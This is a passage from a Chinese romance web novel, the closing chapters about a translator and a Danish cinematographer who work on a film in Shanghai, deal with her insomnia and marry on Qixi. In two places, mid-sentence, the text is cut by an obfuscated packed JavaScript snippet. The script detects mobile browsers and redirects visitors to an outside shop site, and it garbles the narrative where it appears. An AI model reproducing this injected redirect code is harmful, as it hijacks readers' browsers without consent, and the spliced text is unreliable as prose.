“可以啊,你把后背命名成‘嘴’,我们背靠背就是在接吻了。”安宴从语言学角度强词夺理,倒是应了她曾经的专业。 不过他们没有背靠着背,龙秉月窝在安宴怀里,背靠着他的胸。 “现在依偎在沙发上休息,也是你那个梦里的吗?” “嗯。” “你的梦还怪长的。” “都是因为你不回短信睡着了,我一直想着你,才会一直梦到你。” 又强词夺理! 安宴把手机捞过来,指着【知道你愉快我就放心了】:“再放心一下?” 龙秉月听出再明显不过的暗示:“你还是别放心了!” 安宴又指向【我拒绝还有点不好意思】:“现在怎么好意思了?” 龙秉月:“……” 好一个回旋镖,转了一年又扎向自己,她如何料得到。 “等等!”龙秉月突然想起来,“你名片上怎么写的,我不是master吗,你听话……停……” 56. 第五十六章 电影《灰烬》拍的是2010年来过上海世博会的一个法国人,由于饱受同一梦境的困扰,时隔十余年再次来到上海,寻找梦魇的线索。 剧本由中法编剧联合原创,摄制组中外人员一半一半,演员则多为中国人,毕竟故事发生在这里。 7月4日出梅,天气渐放晴。 7月6日星期六,宜嫁娶、纳采、出行、祭祀、祈福……是为良辰吉日,电影在市郊开机。 那天是个艳阳天,“先蒸后烤”的炎夏进入了烧烤模式,午后体感温度接近40度。 即便是从小在这里长大的龙秉月,都耐不住这般高温。 遑论几乎没经历过30度以上天气的丹麦人。 好在龙秉月有远见,早就准备好了各种降温好物:小电风扇、清凉喷雾、冷感湿巾、冰冰圈、清凉贴…… 开机仪式结束后,她就冲到安宴身边,贴心帮他装备上这些东西。 旁边有人见了,调侃道:“龙老师好东西怎么只给咱们摄影师呀?明目张胆地偏心哟。” 安宴作为摄制组主要成员之一,在剧组的地位比相当于打杂的龙秉月要高,便主动替她说话:“不是她偏心,是我有私心。” 说罢把她紧紧搂在怀里,不让她去给别人拿剧组后勤备好的成箱的同类物品。 谁刚刚说马上热晕了,要她快快用冷感湿巾帮他擦汗,现在又贴在一起,推也推不开,不顾对方身上传递来的热量? 龙秉月白了他一眼:“快放开我啦!” “他们早该习惯了。”安宴甚至变本加厉,低头亲了一口她的额头。 龙秉月:“……” 没错,在之前将近一个月的前期工作中,尽管两人很少在同一场合出现,但每次安宴看到她,就会像磁铁一样自动吸过去。 他们的关系很快传开,在剧组和公司里人尽皆知。她本该是个低调的小职员,却成了高调的摄影师家属。 高调的摄影师,被迫高调的家属。 不过她感到很舒服,大家仍旧称呼她的本名,而不是“摄影师的对象”之类的。 龙秉月是代表公司被派驻到剧组的,做一些协助、协调的工作。不用天天驻场,多半时间在酒店远程工作,完成自己的本职任务。 她刚入职一个多月,还没过六个月的试用期,这份工作本来轮不到她。但是蒋天然向大老板极力推荐她来,老板和她面谈后,认可了她的能力。 后来老板得知了她和安宴的关系,还特意吩咐管差旅的行政给他们订同一间房——抠抠搜搜省预算。 好吧,公费恋爱,她不挑。 第一次和安宴共事,龙秉月发现,虽然进组之前他乐于秀恩爱,但是正式开拍后,他在片场上非常专业,不夹杂私人情感。 她在片场的时候,他也会当作她不在,把她当成空气,眼中只有电影,表现得十分疏离。 而每晚下工回到酒店房间,浑身热气的安宴第一件事必是抱住龙秉月,让尽可能多的皮肤贴上她吹了一天空调的冰凉皮肤,直到两人皮肤表面温度变得相同——和他一样热。 如果她白天去了片场,他晚上会说:“今天怎么又来考验我?知不知道我忍着不靠近你忍得多辛苦?以后少来片场,来了也不要总让我看到你。” 她听从指示躲着他,他又要说:“听说你今天来片场了,还真不让我看到你?不行,我要看,在片场不准离开我的视线范围。” 如果她白天没去片场,他晚上会说:“今天为什么不来片场?害我整天想你想得心痒痒,快要无心拍摄了。” 好大一口锅扣在她头上,摸鱼不要乱找借口! 再说了,他忍得辛苦,难道她忍得不辛苦吗?她要接吻! 龙秉月攀上安宴的肩,猛地一跃想要突袭他,又被他躲过去了。她好恨两人的身高差。 除了肌肤相亲的时候,日常中的每一刻龙秉月都可能瞄准安宴的嘴唇,突然变换姿势凑过去。 但她一次都没能偷袭成功。 接吻变成战斗一样的事情,亲密的姿势仿若打架,身体接触像是游戏通关。 她只有变成八爪鱼,四只手固定住安宴的四肢,两只手固定住安宴的脖子,两只手固定住安宴的脸,才有可能成功。 赢得战争,打架获胜,KO大boss。 可她变不成八爪鱼,她只会在打斗中身体变热,变成一条烤鱼。 鱼被人从冰凉的河水里捞出来,穿在串子上烤火,正面烤,背面烤,烤到熟透,撒上调料,被人吃掉。 - 进组十天后,向来睡眠好的龙秉月患上了失眠。 一开始,她以为是偶发事件。连续失眠一星期后,她意识到事情并不简单。 不过现代人嘛,失眠是常见问题,她没有过度忧虑,姑且在外卖软件上下单了附近药店的褪黑素,试试看效果。 两个人同床共枕,安宴自然注意到了她最近入睡困难,主动为她分忧—— “看来睡前运动量还是不够,累极了就能睡着了。” 龙秉月试图婉拒:“别,别影响到你拍摄……” “不用担心我。运动一下睡得香,休息得好,明天更有精力拍电影。” “唔……” 这一招确实有那么些用。对照实验结果表明,疲劳程度和入睡速度成正比。 但是。 龙秉月的失眠问题不算严重,差不多三四十分钟就能入睡。用了这招后,入睡变快了没错,实际睡眠时间却减少了。 失眠治疗时间永远大于失眠时间,这究竟能算治疗吗? “当然算。”安宴肯定地说,“时长不是衡量睡眠质量的唯一因素,入睡速度和深度同样是重要因素。” 这话龙秉月听起来怪怪的,好像在说睡眠,又好像不仅仅在说睡眠。 “但是手环记录显示,我的深度睡眠时间并没有增加啊。”她反驳道,“再说,我不配同时拥有时长、速度和深度吗?” “说真的,要不要去医院看看?”安宴严肃起来,认真提议。 “算了吧,好麻烦,没必要。” 龙秉月想到永远无法在凌晨三点前睡着的同学A,不管几点睡都一定会在早上七点醒的同学B,多数时间能睡好但平均一周一次瞪眼到天亮的同学C…… 感觉自己的问题甚至不配叫“失眠”,顶多是“睡得慢”。 - 又过了几天,蒋天然来剧组探班,检查龙秉月的现场执行工作。 两人有段时间没见,蒋天然上来就问:“你现在黑眼圈怎么这么严重?是不是工作压力太大了?” 龙秉月皮肤白,不戴眼镜,在片场又不化妆,黑眼圈遮无可遮。她三言两语讲了下自己的失眠问题。 “吃点褪黑素试试?” “吃了,没用。” “那,吃点保健品补补?” 蒋天然作为过来人,开始分享自己的经验。 她打开网购软件的订单,给龙秉月看了自己在吃的几种,推荐她先去医院检查一下,不要盲目补。 “你年轻,应该不用刻意补,但是检查检查总没坏处。我是奔三了才开始补的,感觉身体状态重回二十岁出头,不知道是不是心理作用。” 龙秉月听劝,也因为失眠滋味着实难受,当晚就挂了医院第二天早上的门诊号,检查维生素和微量元素。 对此安宴表示:“呵,不听老公的话,只听老板的话。” 但他还是乖乖早起,准备请假一小时陪龙秉月去医院,被她坚决拒绝了:“抽点血而已,我没那么脆弱,你不准耽误拍摄。” 这又加深了他对她“听老板话”的工作狂印象。 医院的检查流程完善、效率高,龙秉月从进到出只花了50分钟,三个工作日后通过医院公众号查到了检查结果。 不查不知道,一查吓一跳。她生活习惯健康,坚持锻炼,吃好喝好睡好,竟然也缺了不少种。 于是对症下药,补缺乏的元素。 失眠果真有所缓解,不料又补出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253857|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的问题——多梦,早醒,半夜容易醒。症状从第二天就开始凸显。 龙秉月上网查找原因,发现很多人都遇到过同样的问题。有人说多梦是因为快速眼动睡眠时间增加,这是有好处的,只要深度睡眠时间没减少就OK。 而早醒和半夜容易醒,是因为猛然一补,身体还没适应,大约一到两周后就会恢复以往的清醒时间。 她放下心来。 - 补到第五天,龙秉月的入睡时间已经恢复到了十分钟左右。 睡着后没多久,她进入了快速眼动期,也就是做梦的阶段。 从五月底的戛纳到八月初的上海,她有两个多月没有和安宴接吻了。其它该做的都没少做,偏偏吻,由于某人的固执,一直接不到。 日有所思夜有所梦。龙秉月越来越频繁地梦见自己和安宴接吻,只是简简单单地接吻。她知道这是梦,却仍然忍不住沉迷。 今天的梦好像有些不一样。这也是吃保健品的暂时副作用吗,她感觉这个吻格外真实,唇瓣的触感格外清晰。 多数时间闭眼接吻的她,想要睁开眼睛看看。 她睁开了眼睛。 龙秉月花了一会儿才确信,这里是现实世界,而不是她的清醒梦。 安宴吻得太动情,以至于没发现她醒了。 所以,他每天拒绝她的吻,却在晚上趁她睡着后,偷偷亲她? 她经常梦见接吻,不仅是因为内心渴望,也因为做梦时他真的在亲她? 怎么会有这么可恶的人!! 他倒是享受到了,留她一人煎熬,想尽办法和他接吻,他却油盐不进。 龙秉月生气地咬了安宴嘴唇一口,这个“故意咬人罪”她是非犯不可了。 安宴吃痛,才意识到龙秉月醒了。 从去年确认关系开始,他就有半夜偷亲的习惯。龙秉月一向睡得熟,从来没被亲醒过,他便愈发胆大妄为。 可惜今天败在了不了解保健品副作用上。 龙秉月的双眼蓄满了委屈的泪水,像决堤的河水一般涌出。安宴还没反应过来,她就已经哭得喘不过气了,肩膀一抽一抽的。 面对安宴的呆滞,她更加生气了,一把推开身上的人,跳下床:“我、讨厌、你!我要、离开这里!我不要、再跟你、睡一起了!” 声音哽咽,抽抽噎噎,却也斩钉截铁。 安宴慌了,连忙从身后抱住她:“对不起,我错了,都怪我。你别走,你不想见到我,我可以走。” 转念一想,他不能重蹈戛纳覆辙,再让她跑了,又改口道:“不,我不走。你尽管讨厌我好了,我绝对不会放手的。” 龙秉月一边挣脱一边放声大哭,不知多久后哭累了,懒得争了:“好了,我不走,你放开我吧,我去睡沙发。” “你睡床,我睡沙发。” 安宴把她抱回床上,给她冷敷眼睛,帮她抹上眼霜,又拉住她的手背亲了亲:“对不起。” 一滴温热的水落在龙秉月的胳膊上。 她躺在床上辗转反侧,怎么想都不甘心,凭什么?凭什么? 转瞬间,她掀开被子下了床,直冲沙发奔过去。 二话不说,眼睛对着安宴的眼睛,嘴巴对着安宴的嘴巴,吻了上去。 哭归哭,委屈归委屈,但他欠她的,她必须讨回来。 这次安宴没再躲,也没有热情回应,只是任她主导。 接吻的间隙,他不断道歉,泪水迟来地回应着她先前的泪水。 以前他总表现得游刃有余,这一次终于慌张溢出。 龙秉月亲得特别凶,手拽着他的头发,牙齿嗑着他的嘴唇,膝盖顶向他的腰。要他痛,身体和心都痛。 安宴反而露出了笑容:“别原谅我,但也别离开我。就这样,留我在你身边永远惩罚我,好不好?” 他躺着,她跪坐在沙发上,一只手扼住他的喉咙,另一只捶在他的心脏。 “当然。”龙秉月说,“敢违抗我你就死定了。” 57. 第五十七章 吻到最后,龙秉月脱力地躺在安宴身上,问他什么时候开始偷亲的。 “去年八月。” “……我是问你来中国之后。” “来的第二天。” 为什么不是第一天?哦,因为那天她没能睡呀,熬到了第二天早上。 “频率呢?” “每一天。” 比起责骂安宴,龙秉月更多是佩服自己,天天夜里被人亲却一直毫无知觉。 好想恢复这样的睡眠质量。 “还有别的事情你瞒着我吗?” 联想到过往种种,她不禁怀疑这只是冰山一角。很多事情她不问,他便不会主动提起。 “嗯……我中学生物课考过不及格这种算吗?” 龙秉月极度无语地掐了安宴一下。她现在对他是完全不心疼,只想狠狠敲打。 “你能不能认真点!挑重要的说!” “那你做好心理准备。” “你尽管说吧,我很坚强的,只要不是负债上亿、犯罪潜逃、外面有个孩子什么的……” 这下轮到安宴无语,倒也不是让你做这种心理准备。 他赶在她继续天马行空之前,说出早就准备好的话:“我的无配偶证明开好了。” “啊?”龙秉月大为震撼,“你什么时候背着我回丹麦了?” 不对,飞一趟单程超过10小时,往返加上办理时间怎么也要三天,这根本不可能发生。 安宴立即解答了她的疑惑:“我在网上办的,可以邮寄到中国。” 龙秉月当初只查到他得在丹麦的有关部门开证明,没想到这么方便,可以全程在网上办理。 不怪她查得不仔细,相关网站都是丹麦语,很多信息又要用ID登录了才能查看,她只能了解到皮毛。 “我上周才收到的。现在材料齐了,想登记随时都可以。”安宴搂着她的手微微颤抖,“你还想吗?” 他有些忐忑,在刚刚掉马半夜偷亲狂魔之后。 “呼……”龙秉月长叹一口气。 “我不想……”她忽然起了逗弄他的心思,缓慢地说,中间停顿许久,“不和你共度余生。” 安宴险些要吓死,不过都是他活该,他认了。 经历这一场心跳,他发现劫后余生的幸福感会翻好多倍。 “你想什么时候去领证?”他问。 “剧组没有婚假,我看看你们下次放假的日子还有没有名额。” 龙秉月先看了眼剧组安排,下一次放假在星期六。然后登上小程序,查看涉外婚姻登记可以预约的日子。 市婚姻登记中心已经约满了。但是今年夏天涉外婚姻登记开始改革试点,她的户口刚好位于试点区,区里还有名额。 她刷刷填写完信息,预约成功。 这样就可以了? 填写过程中只顾着信息正确,提交完成才后知后觉有了即将结婚的实感。 龙秉月呆呆地看着安宴,有些不敢相信。 几个月来心路历程曲折蜿蜒,不管怎么说,道路尽头的终点始终没变过。 她的确从未想过这么早结婚,但试试看又如何。 这些都留给未来的她去考虑了,现在的她只想…… “再亲一会儿?” 刚才已经亲了很久,嘴唇有些红肿,可是还不够。缺席了那么长时间,多久都不够补的。 “明天不工作了吗?”安宴突然变得理智。 “我没事呀,反正我是在酒店远程办公。至于你嘛,你自己想办法。” “好,回床上亲。” 安宴从沙发上起身,把龙秉月打横抱了起来。 他敢不满足她吗。 何况他也好久没有得到有回应的吻了,独自在黑夜里偷亲她再多次,也比不上她回吻一下。 接下来直到周六,他的第一要务就是把她伺候得舒舒服服,以免她中途变心。 - 第二天,安宴戴着口罩去了片场。 场务见到他,打了招呼后问道:“你怎么也戴上口罩了?一起感冒了吗?” “也?还有谁?” “龙老师呀,你们不是住在一起吗?刚刚碰到她戴着口罩,说自己感冒了。” 安宴:“……” 有的人,自称要在酒店工作,实际上偷偷比他早来,在片场晃悠一圈,让他做那个更难解释的人。 场务接着感叹:“你们真敬业啊!感冒了也坚持带病工作,不拖剧组进度,辛苦了。” 与此同时,安宴收到龙秉月的消息:【口罩戴好了,今天都不准摘听到没?】 一起感冒固然令人浮想联翩,但总比被发现嘴亲肿了好。 【遵命。】 晚上拍摄结束回到酒店后—— “回来这么久了你怎么还戴着口罩?” “不是你说今天都不准摘?” “我那是‘今天在片场不准摘’的省略说法!你别装傻!” “可是程序已经设定好了,改不了了。” 安宴继续提议:“刚好还没戴着口罩接过吻,试试?” 隔着口罩接吻,亏你想得出来。 但龙秉月也好奇这是什么滋味,索性答应他试试。 她很快就后悔了——本来嘴唇就红肿,在口罩的摩擦下更疼了。 紧接着,她想起一件大事,连忙推开安宴,一把摘下两人的口罩,惊呼道:“我们还得提前去拍登记的照片!” 天哪,这么重要的事情她差点忘了,睡眠不足果真会让人变傻。 星期六登记的话,最晚星期五要拍,实际还得看剧组安排。留给他们的时间不多了。 拜托千万别让她成为一个肿着嘴唇的新娘,到时候别人问“结婚照里你嘴怎么肿了”,难道她要说“要结婚了老公太兴奋给亲肿了”吗……哦不。 龙秉月当场宣布:“接下来几天我们保持距离,我要我的脸在拍照的时候拿出最好的状态。” 安宴:“保持什么距离?不接吻吗?” 她凌晨还说补不够,才过去半天又不要了。 “不止,一切距离。” “多出点汗对皮肤更好吧?” “不行,不要,不可以。”龙秉月拒绝三连,“没你说话的份,都听我的。” 好吧,她的心情最重要。安宴都听她的。 - 领证那天恰好是七夕,这是龙秉月在预约后才发现的。 不是因为她查了黄历,而是各种商家的宣传太多,很难不注意到。 早上五点,闹钟声响起,龙秉月强行把自己和安宴都拽了起来。 安宴睡眼朦胧,不知道发生了什么。预约的时间是下午,他是想要睡到中午的,减少清醒时的紧张时间。 龙秉月昨晚也没提前说,现在这又是哪一出? “快起床,我们去一趟灵隐寺。” “灵隐寺?” “对,一年前喻琳在那里给我求了个姻缘御守,今天我们去还愿!” 安宴第一次听说这事,困意瞬间消散:“原来你一年前就想着和我结婚了。” “……才不是。”龙秉月反驳,“只是御守比较好看。” 原因当然是站不住脚的,但就事论事,那时候她确实并没有考虑过未来,她甚至害怕自己把握不住当下。 现在回看,一切都越来越顺利。无论是真心感谢神明保佑还是为了仪式感,她都想去还一下愿。 感谢上天,感谢命运,感谢安宴,更感谢她自己。 大清早路上车少,龙秉月开了两小时到达灵隐寺,赶在八点前人少的时候还了愿。 两人在景区里随意登高闲逛,逛完刚好八点半寺庙的素斋开门,进去用了早餐。 一切时间都是刚刚好。 休息一下再开回上海,刚好是中午;吃完午饭去民政局登记,刚好是下午第一对新人;登记完走到室外,天气刚好放晴。 整个流程快得超乎预期,没怎么细细体会就完成了,两个红本本到手。 “现在可以接吻了吗?”回到车上,安宴问。 他们没有找跟拍,只在民政局让工作人员帮忙拍了几张手执结婚证的合影。龙秉月没好意思当着人家的面接吻。 “急什么。”龙秉月没答应,“先去我的地方。” 一整天都有假,他们要玩到晚上,再回剧组驻地。约定好一人选一个有意义的地方,不提前透露给对方,现场再阐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14273425|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 述选择的理由。 这里毕竟是龙秉月的家乡,她可选的地方太多了。 但她选了…… “这是什么地方?”安宴对着眼前平平无奇的广场和稍远一点的人工湖,有些不明所以。 这个普通得不能更普通的地方,对她来说有什么意义呢? “不是吧大摄影师,你不够敬业啊。”龙秉月开口,安宴更疑惑了。 “当年的世博园区,就在这里。”她解释道,“《灰烬》之后应该也会来这里拍摄吧。” “现在你脚下踩着的地方,就是当年的丹麦馆。” 2010年上海世博会,位于哥本哈根海滨的著名小美人鱼铜像被搬了过来,在这里一坐就是半年。 小学生龙秉月由此第一次实打实地接触到丹麦这个国家的东西,见证了童话故事书里的人物出现在眼前。 更重要的是,“因为世博会,我开始理解文化交流的意义,它深深影响了我后来的专业选择。如果当年没来参观,我可能就失去了后来认识你的机会。” “这么巧啊。”安宴说,“我好像也是因为那年来中国旅行,才喜欢上摄影的。” “真的假的?” “真的。我和爸爸来上海世博会,顺便去了中国西部几个地方。多亏那里的美景,我拍出了很棒的照片。” 好神奇,缘分早在你尚未意识到的时候,就开始运转了。 两人继续在世博公园里漫无目的地散步,走到了一排海宝(世博会吉祥物)雕像旁边。 “你还记得上海世博会的主题吗?”安宴问。 “当然记得,一辈子都忘不了。至少半年诶,走到哪里都能看到——城市,让生活更美好;Bettercity,betterlife。根本成了肌肉记忆。” “要我说,这口号取得还不够好,英文不押韵。我更喜欢这一句:Betterwife,betterlife。” “哼,你少来。有wife就知足吧,要better也是你。” “嗯,你说得对,我已经有bestwife了,我得努力让自己配得上她。” “好哇你,我才23岁,你就觉得我已经到头了,没有进步空间了!” 诡辩,绝对是诡辩。 但安宴懂得不争对错,不管错没错先认错,老婆说他错那他就是错,直接跪滑。 - 龙秉月的选择证明了两人的缘分从过去绵延至今,安宴的选择则在承诺,爱在将来也永远存续。 晚上,他带龙秉月来了迪士尼乐园。 她其实猜测过安宴会不会选择这里,因为迪士尼和丹麦、和他的姓氏一样,带有浓重的童话色彩。真的来了这里,她更加好奇原因了。 “一年前我们在趣伏里乐园开始相恋。” “嗯。” “那里的乐园主题是:趣伏里永远不会完结。” “嗯。” “华特·迪士尼参观过趣伏里后,受其启发,在迪士尼乐园开幕时说:只要世界上仍有想象力,迪士尼乐园就永远不会完结。” “嗯。” “你什么时候开始只会发一个音了?”安宴忍不住问道。 “我捧你场呀,不打断你的演讲同时又表示肯定。”龙秉月接收到破坏氛围的讯号,又加了一句,“你快说,等下烟花开始了。” “趣伏里见证了我们的开始,迪士尼见证了我们新的开始。我们的故事也会像它们一样,永不完结,永不落幕。” 在人群之外,安宴微笑着把全部目光投向龙秉月,烟花在他背后的头顶上方绽开。 龙秉月张开双臂,安宴立刻明白了她的意思,把她公主抱起来。她环上他的脖颈。 像一年在在趣伏里那样。 只是她不会再颤抖,不会再犹豫,万分自然地贴了上去,主动撬开他的唇齿。不用再等他说“张嘴”,也不再畏惧他人的审视。 龙秉月调动全身感官,深深体味着。 一年过去,新鲜感没有减少,安全感不断涨停。 曾以为童话般的爱情像北欧的夏天一样短暂,然而夏天周而复始。 夏天的故事永不落幕。 (正文完)